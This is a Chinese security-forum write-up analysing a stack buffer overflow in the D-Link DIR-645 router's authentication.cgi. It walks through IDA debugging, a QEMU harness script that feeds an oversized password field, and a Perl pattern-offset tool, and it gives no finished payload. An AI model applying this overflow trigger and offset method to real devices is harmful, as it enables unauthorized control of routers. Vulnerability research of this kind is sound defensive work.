-
-
[原创]D-Link DIR-645路由器溢出分析
-
发表于: 2021-8-25 12:16 17762
-
该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。
固件下载:
ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
1,run_cgi.sh脚本:
2,调试目标程序需要匹配正确。(有知道原因的可以跟帖回复,也方便大家览阅)
3,IDA分析,追踪问题函数
4,填充数据调试
IDA调试参考:
获得&ra在栈上的地址(这是非子叶函数的性质):
F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):
注意:
为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。
程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。
5,看看a1正常的内容读取:
缩短填充内容的长度,重新调试:
程序走到authenticationcgi_main的返回位置才退出:
如果需要看到更明显的步骤,可以自己找到此处再下个断点
结论:
真实溢出位置就是read()函数引起的。
6,分析read()函数上下文传入传出数据。
先到read()函数跳转处分析参数的来源
与目的地
:
分析方法:
由于MIPS是流水线执行指令顺序,寻找参数
先到函数跳转处先向下查找参数,然受再向上查找参数。
最终得到read()函数原型:
read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
7,注var_430计算大小方式:
根据栈中变量的顺序去计算
至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充
加上调试观察构造的数据位置
。由于后面的函数都达不到溢出,所以就不附上步骤了。
验证分析:
程序异常退出在此处,分析:
在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:
更改回要求的形式获得结果:
1,调试确定偏移
这里分享个更方便的脚本patter.pl脚本
生成构造数据:
用法:
2,patter.pl脚本使用方法
有两种操作模式:
1) 只提供一个参数,即要生成的字符串的长度
( ./ gspattern.pl [length of string] )
2) 字符串的长度和要找到偏移量的模式提供
(./ gspattern.pl [字符串长度] [搜索模式])
注(搜索模式):
获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)
3,
生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下):
调试确定需要的偏移位置值:
将0x38684237 转成对应ASCII码:8hB7
4,构造ROP参考:家用路由器漏洞挖掘实例分析
5,POC
注释:栈内数据对应寄存器
1,打开qemu系统
2,利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。
3,开始仿真环境前准备
挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:
然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动:
然后根据报错提示去修复
当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。
参考
[1]https://bbs.pediy.com/thread-259274.htm
[2]https://bbs.pediy.com/thread-268623.htm
#!/bin/bash
# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
INPUT
=
"$1"
# 参数1,uid=A21G&password=1160个A
TEST
=
"$2"
# 参数2,uid=A21G
LEN
=
$(echo
-
n
"$INPUT"
| wc
-
c)
# 参数1的长度
PORT
=
"1234"
# 监听的调试端口
# 用法错误则提示
if
[
"$LEN"
=
=
"0"
] || [
"$INPUT"
=
=
"-h"
] || [
"$UID"
!
=
"0"
]
then
echo
-
e
"\nUsage: sudo $0 \n"
exit
1
fi
# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu
-
mipsel
-
static) .
/
qemu
echo $TEST
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo
"$INPUT"
| chroot . .
/
qemu
-
E CONTENT_LENGTH
=
$
LEN
-
E CONTENT_TYPE
=
"application/x-www-form-urlencoded"
-
E REQUEST_METHOD
=
"POST"
-
E REQUEST_URI
=
"/authentication.cgi"
-
E REMOTE_ADDR
=
"127.0.0.1"
-
g $PORT
/
htdocs
/
web
/
authentication.cgi
echo
'run ok'
rm
-
f .
/
qemu
# 删除拷贝过来的执行文件
#!/bin/bash
# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
INPUT
=
"$1"
# 参数1,uid=A21G&password=1160个A
TEST
=
"$2"
# 参数2,uid=A21G
LEN
=
$(echo
-
n
"$INPUT"
| wc
-
c)
# 参数1的长度
PORT
=
"1234"
# 监听的调试端口
# 用法错误则提示
if
[
"$LEN"
=
=
"0"
] || [
"$INPUT"
=
=
"-h"
] || [
"$UID"
!
=
"0"
]
then
echo
-
e
"\nUsage: sudo $0 \n"
exit
1
fi
# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu
-
mipsel
-
static) .
/
qemu
echo $TEST
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo
"$INPUT"
| chroot . .
/
qemu
-
E CONTENT_LENGTH
=
$
LEN
-
E CONTENT_TYPE
=
"application/x-www-form-urlencoded"
-
E REQUEST_METHOD
=
"POST"
-
E REQUEST_URI
=
"/authentication.cgi"
-
E REMOTE_ADDR
=
"127.0.0.1"
-
g $PORT
/
htdocs
/
web
/
authentication.cgi
echo
'run ok'
rm
-
f .
/
qemu
# 删除拷贝过来的执行文件
#!/usr/bin/perl -w
use strict;
# Generate/Search Pattern (gspattern.pl) v0.2
# Scripted by Wasim Halani (washal)
# Visit me at https://securitythoughts.wordpress.com/
# Thanks to hdm and the Metasploit team
# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
# This script is to be used for educational purposes only.
my $ustart
=
65
;
my $uend
=
90
;
my $lstart
=
97
;
my $lend
=
122
;
my $nstart
=
0
;
my $nend
=
9
;
my $length ;
my $string
=
"";
my ($upper, $lower, $num);
my $searchflag
=
0
;
my $searchstring;
sub credits(){
print
"\nGenerate/Search Pattern \n"
;
print
"Scripted by Wasim Halani (washal)\n"
;
print
"https://securitythoughts.wordpress.com/\n"
;
print
"Version 0.2\n\n"
;
}
sub usage(){
credits();
print
" Usage: \n"
;
print
" gspattern.pl \n"
;
print
" Will generate a string of given length. \n"
;
print
"\n"
;
print
" gspattern.pl \n"
;
print
" Will generate a string of given length,\n"
;
print
" and display the offsets of pattern found.\n"
;
}
sub generate(){
credits();
$length
=
$ARGV[
0
];
#print "Generating string for length : " .$length . "\n";
if
(length($string)
=
=
$length){
finish();
}
#looping for the uppercase
for
($upper
=
$ustart; $upper <
=
$uend;$upper
+
+
){
$string
=
$string.
chr
($upper);
if
(length($string)
=
=
$length){
finish();
}
#looping for the lowercase
for
($lower
=
$lstart; $lower <
=
$lend;$lower
+
+
){
$string
=
$string.
chr
($lower);
if
(length($string)
=
=
$length){
finish();
}
#looping for the numeral
for
($num
=
$nstart; $num <
=
$nend;$num
+
+
){
$string
=
$string.$num;
if
(length($string)
=
=
$length){
finish();
}
$string
=
$string.
chr
($upper);
if
(length($string)
=
=
$length){
finish();
}
if
($num !
=
$nend){
$string
=
$string.
chr
($lower);
}
if
(length($string)
=
=
$length){
finish();
}
}
}
}
}
sub search(){
my $offset
=
index($string,$searchstring);
if
($offset
=
=
-
1
){
print
"Pattern '"
.$searchstring.
"' not found\n"
;
exit(
1
);
}
else
{
print
"Pattern '"
.$searchstring.
"' found at offset(s) : "
;
}
my $count
=
$offset;
print
$count.
" "
;
while
($length){
$offset
=
index($string,$searchstring,$offset
+
1
);
if
($offset
=
=
-
1
){
print
"\n"
;
exit(
1
);
}
print
$offset .
" "
;
$count
=
$count
+
$offset;
}
print
"\n"
;
exit(
1
);
}
sub finish(){
print
"String is : \n"
.$string .
"\n\n"
;
if
($searchflag){
search();
}
exit(
1
);
}
if
(!$ARGV[
0
]){
usage();
#print "Going into usage..";
}
elsif ($ARGV[
1
]){
$searchflag
=
1
;
$searchstring
=
$ARGV[
1
];
generate();
#print "Going into pattern search...";
}
else
{
generate();
#print "Going into string generation...";
}
#!/usr/bin/perl -w
use strict;
# Generate/Search Pattern (gspattern.pl) v0.2
# Scripted by Wasim Halani (washal)
# Visit me at https://securitythoughts.wordpress.com/
# Thanks to hdm and the Metasploit team
# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
# This script is to be used for educational purposes only.
my $ustart
=
65
;
my $uend
=
90
;
my $lstart
=
97
;
my $lend
=
122
;
my $nstart
=
0
;
my $nend
=
9
;
my $length ;
my $string
=
"";
my ($upper, $lower, $num);
my $searchflag
=
0
;
my $searchstring;
sub credits(){
print
"\nGenerate/Search Pattern \n"
;
print
"Scripted by Wasim Halani (washal)\n"
;
print
"https://securitythoughts.wordpress.com/\n"
;
print
"Version 0.2\n\n"
;
}
sub usage(){
credits();
print
" Usage: \n"
;
print
" gspattern.pl \n"
;
print
" Will generate a string of given length. \n"
;
print
"\n"
;
print
" gspattern.pl \n"
;
print
" Will generate a string of given length,\n"
;
print
" and display the offsets of pattern found.\n"
;
}
sub generate(){
credits();
$length
=
$ARGV[
0
];
#print "Generating string for length : " .$length . "\n";
if
(length($string)
=
=
$length){
finish();
}
#looping for the uppercase
for
($upper
=
$ustart; $upper <
=
$uend;$upper
+
+
){
$string
=
$string.
chr
($upper);
if
(length($string)
=
=
$length){
finish();
}
#looping for the lowercase
for
($lower
=
$lstart; $lower <
=
$lend;$lower
+
+
){
$string
=
$string.
chr
($lower);
if
(length($string)
=
=
$length){
finish();
}
#looping for the numeral
for
($num
=
$nstart; $num <
=
$nend;$num
+
+
){
$string
=
$string.$num;
if
(length($string)
=
=
$length){
finish();
}
$string
=
$string.
chr
($upper);
if
(length($string)
=
=
$length){
finish();
}
if
($num !
=
$nend){
$string
=
$string.
chr
($lower);
}
if
(length($string)
=
=
$length){
finish();
}
}
}
}
}
sub search(){
my $offset
=
index($string,$searchstring);
if
($offset
=
=
-
1
){
print
"Pattern '"
.$searchstring.
"' not found\n"
;
exit(
1
);
}
else
{
print
"Pattern '"
.$searchstring.
"' found at offset(s) : "
;
}
my $count
=
$offset;
print
$count.
" "
;
while
($length){
$offset
=
index($string,$searchstring,$offset
+
1
);
if
($offset
=
=
-
1
){
print
"\n"
;
exit(
1
);
}
print
$offset .
" "
;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)